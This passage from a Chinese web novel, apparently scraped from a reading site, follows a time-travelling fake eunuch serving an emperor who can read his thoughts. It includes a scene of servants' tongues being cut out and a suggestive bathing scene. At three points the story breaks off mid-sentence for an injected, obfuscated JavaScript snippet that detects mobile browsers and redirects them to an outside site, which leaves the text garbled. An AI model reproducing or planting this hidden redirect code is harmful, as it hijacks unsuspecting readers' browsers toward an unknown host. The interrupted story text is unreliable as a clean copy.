所以虽然他不是同性恋,但有时候他还是忍不住会想,为什么他穿的是个太监?而不是一个侍寝过一次就被抛之脑后的小主。 虽然这种人的日子估计过得也不会太好,但再怎么说也是小主,肯定比他一个太监过得好。 但现在再穿已经是不可能了,因此只能寄希望于狗皇帝哪天喝醉了酒,在不发现他是个假太监的情况下浅浅临幸他一下,第二天醒来后对此表示非常抱歉,给他一大笔钱把他放出宫,当然不出宫的话也可以把他塞到一个偏僻的宫殿,好吃好喝养着他,然后把他抛之脑后。 虽然知道这个想法有多荒谬,根本不可能,毕竟都上床了怎么可能不发现他是假太监的事。 但……反正想象又不犯法。 因为想象中的一切太过美好,因此千尧有些失神,又忘了御前的规矩,就这么直直望着不远处那人的背影。 直到那人似有所感,千尧才反应过来自己在干什么,连忙重新低下了头去。 好在那人并没有转身,只是依旧抬手逗弄着面前的鸟。 千尧见状这才松了口气,继续幻想起了刚才的事情。 越想越觉得这种生活比起现在实在美好的过分,因此不免在心中叹了口气。 【要是真能这样就好了,我真的不想再早起了。】 【可惜……】 【也不知道陛下好不好男色?】 【算了,别想了,就算好男色又怎样,真把我临幸了我死得只会更快。】 【不过话说回来,皇帝不都是三宫六院吗?但陛下登基以来后宫还是空的,一个人都没有,他不会真好男色吧?】 【我好像发现了什么不得了的秘密。】 【所以,陛下真……】 千尧还没想完,突然感觉到一道如有实质的目光落在了他身上。 那目光实在太过熟悉,因此千尧几乎立刻便抬起了头,下意识向前看去,然后就见刚才还在喂鸟的帝王不知何时转过了身。 他的左手不知为何突然抬起,轻抵着头侧,修长的手指轻轻按揉着太阳穴。 狭长的眸子看了过来,正似笑非笑地望着自己。 6. 爬床 皇宫里的消息传得很快,没多久千尧就听说了前朝大臣不断提议立皇后和选妃的事情。 不过都被陛下以边疆不稳,暂无此意为由给按了下去。 宫人闻说此言,皆赞陛下心系天下,雄才大略。 但只有千尧觉得,事情并没有那么简单,或许他那天的猜测才是答案,毕竟正常的男人谁会拒绝娶亲,而且那人还是坐拥天下皇帝。 肯定是生理上或者心理上有什么问题。 千尧目前还判断不出他是不喜欢女人还是不举,唯一能看出来的只有边疆真的不稳好像是真的。 千尧穿来的日子已经不算短,因此不再是刚来时的两眼一抹黑,他也渐渐摸清楚了有关这个朝代的一些事。 比如,他所处的这个朝代叫南鄢,倒不是完全因为地理位置偏南,而是因为鄢地之北还有一个朔国,因为身处极北之地,所以被称为北朔。 北朔与南鄢可谓多年的对头,北朔虽地薄人稀,但民风剽悍,全民善战,而南鄢虽地大物博,但兵力却较弱,不过近年来南鄢也意识到了这个问题,一直加强兵防,推崇武治,因此从先帝起也出过几个名将,而其中最有名的便是先帝的二皇子,也就是当今陛下。 据说他十六岁入军营,十八岁便独率精兵深入北朔腹地,收复北地十城,此后多年,北朔再无进犯,保边地数载安宁。 除了北朔和南鄢外,还有最西边的西疆,不过西疆神秘,据说擅长毒虫巫蛊,但因为常年偏安一隅,不与其他两国来往,因此并不怎么引人注意。 所以南鄢的注意力依旧主要放在北朔身上。 当然,北朔亦如是。 近日新帝登基,皇位更替,新旧政权交替之间正易生事,果不其然,北朔最近便有了动作,于边境处不断派兵试探,蠢蠢欲动。 因为此事,最近皇帝上朝和接见大臣的次数都多了起来。 虽然千尧对于这些并不好奇,但因为日日跟在帝王身侧,还是知道了不少消息。 比如边地的消息日日都快马急送,然而陛下却始终没有给出任何反应。 而这也成为了最近的热门事件,因此千尧无论走到哪里都能听到有关这件事的讨论。 虽然周围的人不与他亲近,但千尧生活在这样的环境里,多少也能听到一些风言风语。 比如陛下迟迟不肯出兵是因为当年得位不正,手中没有完整的虎符。 比如陛下因为曾经的事对北朔太子有余情。 更有甚者比较直白,说陛下已不复当年英勇,怕了北朔。 各种传言纷纷扰扰,千尧对此表示震惊。 为什么敢在皇宫里说这些,都不怕死吗?你们敢说我都不敢听。 果不其然,在三十三名太监宫女被当众割了舌头之后,整个皇宫瞬间安静。 千尧在穿过来时就见识过了当今皇帝的残暴,根本没敢去看,没想到小穗子居然去了,直接被吓出了心理阴影,跑过来找他的时候一直捂着自己的嘴巴,像是害怕嘴里的舌头不知道什么时候没了。 “还好你没去看,太吓人了,血窟窿,全是血窟窿。” 千尧只能听他这句话都觉得自己冷汗要下来了,连忙说道:“你去看那个干嘛?不觉得害怕吗?” “我也不是特意去看的,这不是刚好经过就看了一眼。”小穗子说着捂住了自己的眼,“感觉今晚要睡不着了。” 千尧见状拍了拍他的背,“别想了。” 小穗子不知想到什么,满眼敬佩地看向他,“阿尧,听说当初乾明殿的情形比今日血腥百倍,你当初竟然没事。” “谁说我没事。”千尧立刻否认道,“我快吓死了。” 说到这儿千尧被迫回忆起了刚穿过来时的场景,整个人都有些不好了。 小穗子见状立刻转移了话题,“对了,你知道这次的事是怎么被发现的吗?” “不知道。”千尧摇了摇头。 然后就听小穗子道:“是寒刃司。” “寒刃司?”这是千尧第二次听见小穗子提起这个地方。 “对,是陛下的私兵,只听陛下一人的命令,里面所有的人都是层层选拔,精挑细选出来的死侍,没有人知道寒刃司共有多少人,只知道他们遍布全国各地,有着严密的信息网,为陛下探听消息。” 千尧听完后只觉得后背有些发凉,若真如小穗子所说,那说不定现在在他们看不见的暗处,正有人在窥视。 想到这儿千尧一句话也不敢再多说,还告诫了小穗子今后一定要更加谨言慎行。 千尧原本是个话痨,但自从穿过来后除了小穗子外根本没人理他,因此他连个说话的人都没有,所以久而久之他学会了自己和自己说话。 但原本没事儿还会和自己聊聊天,现在听了小穗子的话之后连自言自语也戒了。 想说话的时候就在心里默默说,虽然这个方法很安全,但实在是太憋闷了,因此千尧很快就觉得自己快疯了。 这到底是什么日子啊!他想回家,一天都不想呆了。 为了让自己的精神不至于崩溃,于是千尧开始给自己找起了乐子。 比如充分发挥起中文系学生的专长,在心里编起了话本。 毕竟现在这个世界对于他来说不就是一个巨大的素材库。 只是刚想了个开头就卡住了。 毕竟一般网文的主角设定都是封建帝王和穿越者,但…… 千尧抬眼看了一眼不远处正站在御案前练字的皇帝。 他实在想不到,得什么样的人才能让这样的人动心。 这种人真的会喜欢别人吗? 如果会,他喜欢的人会是什么样的呢? 因为想得太入神,因此千尧并没有发现不远处的帝王何时停下了手中的动作,抬眸看了他一眼。 紧接着闭上眼睛,抬手按住了太阳穴,那股熟悉的,针扎一般的疼痛很快袭来。 然后他听到了不远处小太监的心声。 【陛下这种人喜欢的人应该是……】 【想不出来。】 【他喜欢的人会是什么样的呢?】 【也没有个宠妃让我参照一下。】 岐岸闭上眼睛,静静地等着脑海中那股痛意褪去。 再次睁开眼时才发现笔尖上的墨汁不知何时滴了下来,毁了他刚写好的一副字。 这张字他写得很满意,原本想让人裱起来,但现在正中间处多了一点墨,突兀不已,像是在惩罚他刚才的不专心。 那股要命的痛意已经褪去,但仍有余韵,因此岐岸没心思再写下去,就这么放下了笔。 “茶。”岐岸开口道。 听见他的声音,那个神游天外的小太监才终于回过了神,立刻捧了茶船过来。 虽然自己下令不许任何人教他规矩,但这些日子他看起来偷偷学了不少,奉茶的姿势很标准。 倒不算太笨。 岐岸伸手接过,喝了一口,是正好可以入口的温度。 然而却还是故意轻轻皱了皱眉。 果不其然,下一秒就见面前的小太监立刻跪在了地上。 这倒是没什么特别的,换成是这皇宫中的任何一个太监都会这么做。 但不同的是,没有人会像他一样跪得这么不老实。 一边跪,一边自以为小心地偷偷抬眼向上看他。 敢这样直视天颜的奴才,他是第一个。 不过岐岸并不生气,甚至更喜欢逗弄他。 这一切实在太无聊,难得遇见个有趣的。 虽然岐岸一开始只是觉得他可疑,想要留在身边看看,因此还特意让人不许教他规矩,希望他能早日露出破绽。 但没想到这个小太监根本不会掩饰,浑身上下全是破绽。 他实在不像这皇宫里的人,也不像什么细作,毕竟没有细作会一举一动都如此笨拙。 因为破绽实在太多,反而让岐岸觉得有些看不透了。 这可真是……有趣。 若是从前岐岸怎么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769237|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到自己会对一个太监产生兴趣。 因此总喜欢不经意地作弄他。 比如不接他的茶,比如突然让他给自己更衣,然后看他手忙脚乱的样子,比如说一些意味不明的话。 那夜岐岸说他变得无趣,看起来把他吓得不轻,头都快埋进了地里。 但岐岸却故意没有给他任何回应。 本以为他会提心吊胆一整夜,谁知第二天醒来后才发现他竟然趴在地上睡着了。 岐岸坐在床边看他睡得一脸酣然的样子,突然笑了。 他有些庆幸当初在乾明殿时没有一剑杀了他,不然真的少了很多的乐趣。 从那之后小太监几乎日日伴他左右,只是不怎么专心,总是神游天外。 岐岸觉得更加有趣,在他身边当差的哪个不是打起十二分的精神。 只有他,一颗心不知道跑到哪里去? 在看着他又一次神游天外的时候,岐岸突然动了听一听他心声的想法。 但也只是一瞬,便打消了这个念头。 毕竟这些年他听过太多腌臜不堪的心思,这世上每个人都不过空有一张皮,皮下皆是不可直视的内心。 而且他也讨厌听心声时那刺骨的痛意。 更何况,再有趣也不过是一个太监而已。 他为何要好奇一个太监的心思? 因此岐岸一直克制着自己的好奇心,直到那日他喂鸟时又感受到了身后那道目光。 那道目光盯了他很久,久到岐岸甚至以为他在谋划什么大计。 那一刻,好奇终究占了上风,于是他闭上眼睛,听见了小太监的声音。 【也不知道陛下好不好男色?】 【算了,别想了,就算好男色又怎样,真把我临幸了我死得只会更快。】 【不过话说回来,皇帝不都是三宫六院吗?但陛下登基以来后宫还是空的,一个人都没有,他不会真好男色吧?】 【我好像发现了什么不得了的秘密。】 岐岸:“……” 早该知道的,他能有什么大计。 原来是想爬床,岐岸觉得有些想笑,一个太监竟也想爬他的床。 真是……不自量力。 不过岐岸也更加好奇,这样每次面对自己都两股战战的人打算怎么爬他的龙床?一边哆嗦一边求自己临幸? 岐岸想到这个画面,近日心中的阴霾都扫去了些许。 然而小太监却一直没什么动静,依旧日日伺候的时候神游天外。 这日刚写完字岐岸就见他又在发呆,忍不住又忍着痛意听了一次他的心声。 然后就听见他心中满是疑问。 【陛下这种人喜欢的人应该是……】 【想不出来。】 【他喜欢的人会是什么样的呢?】 【也没有个宠妃让我参照一下。】 果然,还在肖想自己。 岐岸笑了一下,听完后揉了揉太阳穴,莫名觉得这次似乎没有以前听人心声时那么疼了。 再次睁开眼时刚写完的字因为墨汁已经毁了,不过岐岸心情不错,倒也没在意。 只是对着不远处还在发呆的小太监道:“茶。” 小太监很快端了过来。 岐岸慢悠悠地喝了一口,然后轻轻皱了皱眉。 下一秒小太监立刻跪在了地上。 一边跪,一边自以为小心地偷偷抬眼向上看他。 然而岐岸刚一低头,他就把目光撤了回去。 “抬头。”岐岸对他说道。 听见他的声音,小太监那薄薄的,裹在红色太监服里的身体立刻抖了一下。 不知为何,岐岸觉得他身上这件衣服没有之前青绿色的那件好看。 还是青绿色更衬他。 “主动的。”岐岸终于将手中的茶放了回去。 “什么?”小太监明显没有听懂。 因此岐岸又耐心地重复了一遍。 “我喜欢主动的。” 7. 沐浴 千尧闻言大脑开始高速运转,但还是有些不明白他话中的意思,什么叫喜欢主动的? 是让他奉茶的时候主动一点吗? 他还不够主动吗?他一喊自己立刻就把茶送过来了,还要怎么主动? 难道是要提前预判他什么时候想喝茶吗? 不过也是,根据千尧这段时间的观察,御前的人似乎都有这样的本事,所以他这是被警告了? 想到这儿千尧立刻磕了个头,连忙摆出了良好的认错态度,“多谢陛下教诲,奴才谨记在心。” “嗯。”面前的人似乎对他的态度很满意,淡淡地应了一声便示意他下去。 千尧见状连忙起身退了回去,之后的一整天时间里千尧都在偷偷观察不远处的人,试图预判出他什么时候想要喝茶? 觉得差不多的时候就会把准备好的热茶送过去。 但千尧和他相处的时间实在太短,因此把握得并不精准,主动送过去的茶十次有八次他都没碰过,而是放在那里任由它凉了,因此千尧只能一遍遍给他再换成热的。 一整天下来,千尧觉得自己快垮了,累得倒不是奉茶,而是时时刻刻都要被迫观察一个人的动静,判断他的心意,大脑一刻也得不到空闲,因此等天黑下来的时候千尧的大脑几乎不会转了。 只期盼着狗皇帝能早点去睡觉,然后他也可以回太监院休息。 然而事与愿违,最近大概是因为北朔的缘故,他每日要批阅的奏折几乎都能堆满御案。 今日更是从思明殿一直批到寝殿,但还是到现在还没批完。 直到皇帝身旁的大太监提醒了一句,“陛下,时辰不早了,明日还得上朝呢。” 那人这才抬起头来,看了眼不远处的西洋钟。 “是不早了。”他说着放下手中的朱笔,然后抬了抬手。 千尧见状立刻端起茶船把茶水送了过去。 然后就见他端起茶盏,喝了一口后便起身向不远处的床榻走去。 接下来便是宫女过来替他更衣。 千尧见状暗暗松了口气,终于可以下班了。 然而刚开心了一下,就听见一道声音突然传来,“你来。” 千尧闻言一愣,有些茫然地转过身,然后就见不远处的年轻帝王正望着自己,一双异色的眸子很淡,看不出什么情绪。 千尧没想到他又来。 上次因为不会脱他的衣服,千尧在寝殿整整跪了一夜,对这件事简直留了阴影。 因此虽然千尧觉得他当时应该是一时兴起,大概不会再这么对他,但为了以防万一,他还是从那天起开始特意观察给陛下更衣的宫女是怎么做的,到如今已经学的差不多了。 所以即使突然被点名,他也没了上次的害怕。 果然机会都是留给有准备的人的。 千尧对自己的先见之明感到无比庆幸,于是并不怎么心虚地放下手中的茶盏向他走去。 然而刚一靠近他,千尧便开始怂了。 或许真有帝王之气这种东西,面前的人明明看起来也是很年轻的年纪,然而不知为何身上的气势却这样凌厉,像是一把锋芒外漏的剑,让人根本不敢靠近。 但毕竟皇帝都发话了,因此千尧再怂也只能硬着头皮来到他身前,低头替他更衣。 先解腰封。 千尧回忆着之前看来的步骤伸出手,向他腰后伸去,因为手上的动作,身体不由自主地前倾,简直像是要主动扑进他怀里。 当然,千尧不敢真的贴住他,因此他们中间还是隔了一段距离。 但哪怕如此,终究还是离得太近,因此一股清幽的香气就这么钻进鼻里,这是陛下经常焚的龙涎香,寝殿和思明殿都有,但都没有他身上这样来得浓郁。 不知为何,明明都是一样的香,然而到了他的身上便开始变得强势,原本殿内日日焚着也没什么感觉,但现在大抵是离得太近的缘故,那香气简直如同活的一般,不由分说地往他鼻子里钻,毫不讲理地进入他的身体。 这种被迫侵入的感觉并不好,因此千尧下意识屏住了呼吸。 面前的人显然就没有这样的烦恼,一边伸出双臂让小太监更衣,一边低头望着小太监雪白的后颈。 从前没怎么细看过,因此岐岸也是今日才发现,面前的小太监皮肤倒是意外得细腻,而且很白,像是一捧怎么也化不了的雪,让人很想伸手摸了摸,看一看是不是冷的? 千尧的心思全在他身上的衣服上,因此并没有注意到他的目光,只是努力脱着面前人的衣服。 但皇帝的服饰实在太过繁复,加上千尧也只是偷偷看过,并没有什么机会亲自动手,因此脱得很慢,花了跟多长时间才脱掉了他的外衣和中衣。 “陛下,好了。”千尧为他脱到只剩里衣后便自动躬身向后退去。 本以为今天的工作终于结束,然而没想到的时面前的人并没有放过他,而是继续说道:“伺候我沐浴。” 千尧闻言立刻抬起了头,但很快便想起了自己的身份,于是又立刻重新把头低了下去。 心中的绝望喷涌而出。 怎么还要伺候沐浴啊?这个他还没学过,不会又要像那天一样跪一夜吧? 千尧的内心一阵崩溃,但面前的人根本没给他反应的机会,已经先一步转身向小内室走去。 寝殿的内室中还有一个稍小的内室,据说里面是一个浴池,宫人花费许久才引入了温泉水,供陛下沐浴。 千尧知道他会在那里沐浴,但他只是个奉茶的小太监,因此从没伺候过他沐浴,自然也没进去过。 今日终于可以进来一观,但千尧表示并不开心。 可无论他开不开心都改变不了目前已成的事实。 刚一进去就见那狗皇帝再次张开双臂,然后看向他。 千尧自然明白他的意思,连忙低头走过去,然后伸手帮他解里衣。 里衣是最后一层,随着里衣的落下,很快便露出了里面的身体。 面前人肩宽窄腰,看起来不算健硕,然而脱下后才发现衣服下竟是一副极其俊美的身躯,肌肉紧实健壮,线条流畅分明,甚至还有腹肌,简直像是被人精心捏就的杰作。 然而不知为何,原本应该是极其完美的一具躯体,却被无数伤疤破坏了美感。 有些疤痕看起来已经经年,有些看起来像是新伤,颜色还很浅,就这么层层叠叠地叠在他的身上,看得千尧莫名生出了一丝寒意。 怎么会有这么多的伤? 千尧家里虽然说不上大富大贵,但父母恩爱,也很爱他,从小将他保护得很好,因此从小到大受过最严重的伤也不过是跟着妈妈学做饭的时候切到了手指。 但那种疼痛已经让他难忘,因此千尧丝毫不敢想这些伤若是落在他身上会有多疼。 千尧见过的兵器有限,只能认出刀伤和箭伤,其他奇形怪状的伤口就认不出来了。 他听小穗子说过放今陛下是上过战场的,所以这些伤都是在战场上弄得吗? “又在出什么神?” 一道声音自头顶传来,千尧这才回过了神。 他这才发现自己竟然对着面前人的身体愣住了,意识到自己做了什么后千尧连忙想要下跪请罪,然而还没跪下一只手便从旁边伸了过来,握住他的胳膊将他提起。 千尧抬起头,然后就见陛下望着他,对他道:“继续。” 千尧愣了一下才反应过来他口中的继续是什么意思,立刻点了点头,俯身帮他解开了腰上的系带。 千尧刚一解开,他的里裤便自动褪了下来。 然后整个人彻底暴露在了千尧的面前。 千尧见状立刻移开眼睛,虽然大家都是男人,但他从小就是自己洗澡,读了大学后宿舍也有单独的卫浴,因此从没体验过那种大澡堂子,所以也很不习惯看同性的裸体。 不知是不是他的反应太大,千尧突然听见面前的人轻笑了一下。 千尧有些不解,抬头看去,但他已经转身进了浴池。 到了这儿千尧以为自己的任务应该完成了,然而没想到一旁的宫人突然走过来递给了他一块棉布。 千尧看着手中的棉布有些不解,宫人见他没反应,给他递了个眼色。 千尧这才反应过来这是要自己给陛下擦身。 为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769238|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 千尧有些不解,他的工作为什么越来越多了?不会到最后所有伺候陛下的活都得自己一个人干吧? 不过不解归不解,他也没反抗的勇气,因此还是乖乖地过来跪在浴池边替里面的人擦起了身体。 平白加了这么多的班,千尧心中原本存了不少怨念,本想擦重一点,但真碰到那人的肌肤时还是有些下不去手。 哪怕穿过来有一段日子了,但从小生活在和平年代的他还是有些无法想象真正的战场和其中的刀光剑影。 因此擦过伤疤的时候还是不由把动作放轻。 然而没想到的是,刚擦了没多久就听面前的人突然冷冷出声,“没吃饭吗?” 千尧:“……” 我就多余心疼你。 但腹诽归腹诽,千尧还是立刻加重了手中的动作,当然,他也不敢太重。 毕竟面前的人实在太过阴晴不定,因此千尧很怕擦疼了他后他会直接下令砍了自己。 既不能轻,又不能重。 因此伺候他洗完一场澡后,千尧觉得这比自己亲自洗一场还累。 放下棉布时千尧的胳膊已经酸得快抬不起来,但狗皇帝却还是没有放过他,从浴池出来后便来到他面前,示意自己给他擦身体。 千尧已经崩溃到麻木,转头看了眼周围的宫人。 他实在不明白这里明明这么多人,为什么这人非要逮着他一个人使唤? 但谁让他是皇帝。 因此千尧只能认命地换了软布,开始矜矜业业地替他擦身。 擦上半身时还好,擦到下半身时便有些尴尬。 因为他得跪着擦,这个姿势实在是太糟糕了。 虽然千尧努力移开视线,但还是不可避免地看到了他的腿间。 好……大。 男人在这方面多少总有点那该死的好胜心,因此千尧没忍住把他的和自己的比了一下。 可真是……完败呢。 同样是男人,差距怎么这么大? 但很快千尧便收回了这个危险的想法,毕竟以他现在的身份来说,有这个东西是一件多么危险的事情。 要是被发现的话…… 想到这儿,千尧的手不受控制地抖了一下。 本以为自己的动作轻微,面前的人应该没有发觉,然而下一秒他的幻想便狠狠破灭。 “抖什么?” 千尧原本就心虚,他一开口瞬间更加害怕,生怕被他看出来什么,于是连忙摇了摇头。 面前的人不置可否,只是静静地望着他。 千尧知道他这样的反应便是不满他的回答,那人的目光太过锐利,只是被他看着千尧便有些受不住,一时间竟觉得后背都有些湿了。 千尧生怕被他发现什么,连忙想要编出一个合理的解释。 可是大脑一片空白,一时间竟什么也想不出来。 “嗯?”岐岸大概是等得有些不耐烦,冷冷淡淡地出了一声。 千尧闻言吓得连忙抬起头来观察他的神色,谁知一开头先看到的竟是…… 千尧看着他的那处,脑海中不受控制地冒出一个诡异的对策。 于是连忙阿谀道:“就是觉得陛下实在……雄伟,奴才……没见过,所以才……被惊得抖了一下。” 千尧说完之后羞耻到恨不得直接一头磕死在旁边的浴池上。 毕竟在这之前,打死他也想不出自己居然能说出这样的话。 但这样的回答应该能让他高兴吧,毕竟这天下的男人不管真假,谁不喜欢被这么夸。 然而面前的人却久久没有对他的奉承之言作出评价,而是诡异地安静了下来。 太静了。 千尧原本还在羞耻,但在这样的安静下,羞耻渐渐变得恐慌。 为什么不说话,是不满意自己的回答吗? 还是被他看出什么了? 虽然千尧努力想要保持冷静,但思绪根本不受控制,就在千尧觉得自己快被这如有实质的安静压垮时,面前的人终于出了声。 先是一声不明意味的轻笑。 然后是一个问题,“哦,那你喜欢吗?” 8. 恶劣 千尧闻言只觉得面前的人简直是十足的恶劣。 居然问一个太监喜不喜欢他的这个东西。 所以这是在嘲讽他没有吗? 如果自己是个真太监,感觉真的会被气得背过气。 但还好他是个假太监。 不是,是假太监也没什么好的,说不定最后的下场会被没有那个东西更惨,因此千尧一时间的心情很是复杂。 今日所发生的一切太超过千尧的预期,这问题又实在羞耻,因此千尧根本不愿意回答。 但这里毕竟是古代,面前的人又完全主宰着他的命运,因此无论心中再不愿意,千尧还是努力逼着自己回了句。 “……喜欢。” 话音刚落就听面前的人突然轻笑了一下。 因为跪着的位置太过微妙,所以千尧根本不敢抬头。 只是在心里吐槽道:“笑什么笑,要是你知道我也有,不知道还会不会笑得那么开心?” 不知为何,刚吐槽完,头顶那道笑声便倏然散去。 明明周围的一切什么都没有变,然而不知为千尧却突然汗毛直立,像是危险来临之前身体本能给出的预警。 虽然没有抬头,但千尧还是感觉到一束目光落在了他的身上,像是审视又像是打量,自头顶缓缓向下,一寸一寸略过他的身体。 那人目光的侵略性实在太强,明明隔着厚厚的衣服,但千尧在他的目光下却像是被脱光,身上的一切都无处遁形。 虽然千尧明白御前伺候时不可直视帝王,但他穿来的时间实在太短,这条规矩还没深入骨髓地刻进身体,因此每到这个时候便实在忍不住想要抬头观察面前人的反应。 克制,克制,千尧努力告诫自己。 但终究还是没忍住飞速抬头看了一眼,然后就见面前的人正垂眸望着他,左手微微抬起,轻轻抵着太阳穴。 在这飞速瞟过的一眼里,千尧本想从他的神情中推测一下他的反应,但他面上什么也没有,因此千尧根本猜不出他的情绪。 他总觉得似乎有些不对,但又根本想不出到底不对在了哪里。 因此只能跪得更加恭敬,鸵鸟一般头埋得越来越低。 就在他的头都快要低到地面的时候,面前的人终于有了声音,“里衣。” “是。”千尧听到他声音的那一刻,在心里长长舒了一口气,立刻手脚并用地从地上爬了起来,然后接过旁边宫女呈上来的新里衣帮他换上。 换好后千尧便立刻按规矩向后退去,和他拉开距离。 本以为他洗完澡,换好里衣,接下来应该就是去睡觉了。 然而没想到的是他却依旧没有动作,而是继续站在原地静静地望着自己。 千尧不太明白,但也不敢催促,只能低着头任由他打量。 刚才因为跪着的缘故,因此他的目光只在上半身逡巡。 但此时一站起来,便能感觉到他的目光在不断下移。 从胸口到腹部再到…… 感受到他的目光停在哪儿后千尧只觉得下身一凉。 不会是发现什么了吧? 应该不会吧,怎么可能?他自己都才发现不久,发现之后更是和所有人保持距离,上厕所都只挑没人的时候去,怎么可能发现? 那是…… 一个之前就已经被他猜测过的念头再次从脑海中浮现。 所以……陛下真的是同性恋? 毕竟正常人谁会盯着同性的下身看。 但为什么要看我? 我真的不是同性恋啊。 - 明明困极,但等千尧真的躺到床上后却反而睡不着了。 脑海中反反复复浮现着刚才的场景。 自从自己伺候完陛下沐浴后他就一直很奇怪,倒不是他的神色和反应有什么异常,一切都还和往常一样。 但千尧却莫名从那看似平常的一切中感受到了一丝杀意。 有一瞬间千尧真的感觉到了他似乎要命不久矣。 但最后却什么都没发生,等到陛下睡着后他平安地回到了这里。 往日被自己嫌弃硌得要死的床在今日看起来突然亲切了一些,因此千尧难得迫不及待地躺了上去,刚一躺上去就裹紧了身上的虽破旧却干净的被子,被子上面散发着淡淡的皂角香气。 不知为何,这淡淡的香气莫名让他感到了一丝安心,因此千尧把自己裹得更紧。 算了,别想了,千尧努力安慰自己。 又活了一天,且活且珍惜。 - 之后的一段时间日子简直是前所未有的平静。 因为北朔连连来犯,那个男人一天大半时间都在议事,根本没空作践自己。 有了上次嚼舌根的人被割舌的前车之鉴,现在的皇宫格外安静,根本没有议论之声。 因此千尧并不太清楚两国之间的局势到底如何,只是认真当着自己的差事,不用当值的时候就去找小穗子。 一方面是这偌大的皇宫里除了小穗子根本没人和他说话,另一方面则是因为小穗子在御膳房里当差,每次自己来的时候都会拿些糕点偷偷给自己吃,虽然只是几块糕点,但对于现在每天只能吃饭萝卜白菜的他来说已经是不可多得的美味。 这日他来找小穗子,小穗子塞给他的是几块枣花酥。 “好吃。”千尧咬了一口幸福道。 谁知一转头却见小穗子正满目心疼地望着自己。 “怎么了?”千尧有些不解地问道。 小穗子闻言也意识到自己有些失态了,于是连忙扭过头,摇了摇头道:“没什么,只是这些糕点放了好几天,已经有些硬了。” “是有点,但还是很好吃,不过为什么放了好几天啊?”千尧有些不解。 “因为也不是每天都有剩下的,师父也只能隔几天给我几块糕点,我不太舍得吃,就想就给你,但你也不能每天来找我,我就只能先收着,等你来了再给你。” 千尧闻言,原本吃糕点的动作立刻停住,转头看向小穗子。 他还以为小穗子在御膳房当差肯定日日都能吃到好吃的点心。 原来并不是吗? 想到这儿千尧立刻把手中的枣花酥递了过去,“你也吃。” 小穗子闻言摇了摇头,“你吃吧。” “你不吃我也不吃了。”千尧说着强硬地把手中的糕点塞给了他,小穗子见拗不过他,这才拿起一块吃了起来,然后把剩下的糕点又放回到了他手里。 “阿尧,你吃。” “嗯。”千尧看了一眼手中的糕点,一共四块,他们俩每人吃了一块,还剩下两块,因此千尧又拿起一块后把剩下的一块给了他,“平分。” “不可以。”小穗子见状立刻慌了,要推给他。 但千尧的态度很坚决,“不行,要么平分,要么我一口都不吃了,都给你。” 小穗子闻言急得快哭了,想让他把剩下的都吃了,但千尧实在太坚决,因此最后只好妥协了。 于是两人平分了剩下的糕点。 对于现在的他来说,一块糕点已经是不可多得的美味,因此千尧吃得很珍惜,但再珍惜毕竟也就那么小小的一块,还是很快吃完。 如果不是舔手指头太丢脸,他连一点碎屑都不想放过。 以前怎么没觉得点心这么好吃? 小穗子似乎也发现了他的变化,不知想到什么,眼眶一下子红了。 “你怎么了?”千尧见状连忙问道。 “没什么。”小穗子不想被发现连忙转过了头,但千尧哪儿有这么容易放过他。 “怎么可能没什么?你是不是遇到什么难事了?告诉我,我帮你想办法。” “没有。”小穗子说着低头望着手中的糕点,“就是……” “就是什么?” “就是你以前不爱吃糕点的,只有被大人罚了后不让吃饭,你饿狠了才会吃几块,所以现在每次看你吃得这么开心,就觉得你肯定受了很多苦,不过也是,怎么可能不受苦。” 这些日子千尧从小穗子哪儿已经了解到了不少原身过去的事。 但好像真的还没问过他和小穗子的关系。 也是,他怎么把这个忘了? 原身和小穗子的关系这么好,自己竟然没有好奇过这么好的原因。 “我们……”想到这儿,千尧试探着问道,“我们是不是认识了很久了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769239|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小穗子闻言转头看向他,眼神中满是苦意,“你还真是什么都不记得了。” “对不起。”千尧看着他的眼神,莫名有些心虚。 “不怪你,你定然也不想这样。”小穗子说着吸了吸鼻子,控制了一下情绪,这才笑着说道,“我们当然认识了很久了,我们从小一起长大。” “一起长大?”千尧听到这儿心中瞬间解了惑,难怪他们关系这么好,同时心中也生出了一丝庆幸,还好他们现在在不同的地方当差,见面的时间不多,不然一起长大的关系,肯定能发现他和原身之间的差异。 想到这儿千尧甚至都有些后怕,如果不是当日乾明殿里的事给他提供了一个失忆的借口,说不定早就被看出来了。 “是啊,我是千大人捡回来的,我还记得是我六岁那年,那年不知怎么,收成极差,到处都是饿死的人,好多人都在卖儿卖女,还有人易子而食,我是家里最小的,他们本来都商量把我和隔壁的玲丫头换着吃,但最后爹娘还是不忍心,就把我送到了都城里,让我听天由命,后来在我差点饿死的时候遇到了千大人,他将我带了回去,他说他最小的孩子和我一样大,让我陪他,后来我就在千府住下了。” “所以……我们在一起十多年了。”千尧道。 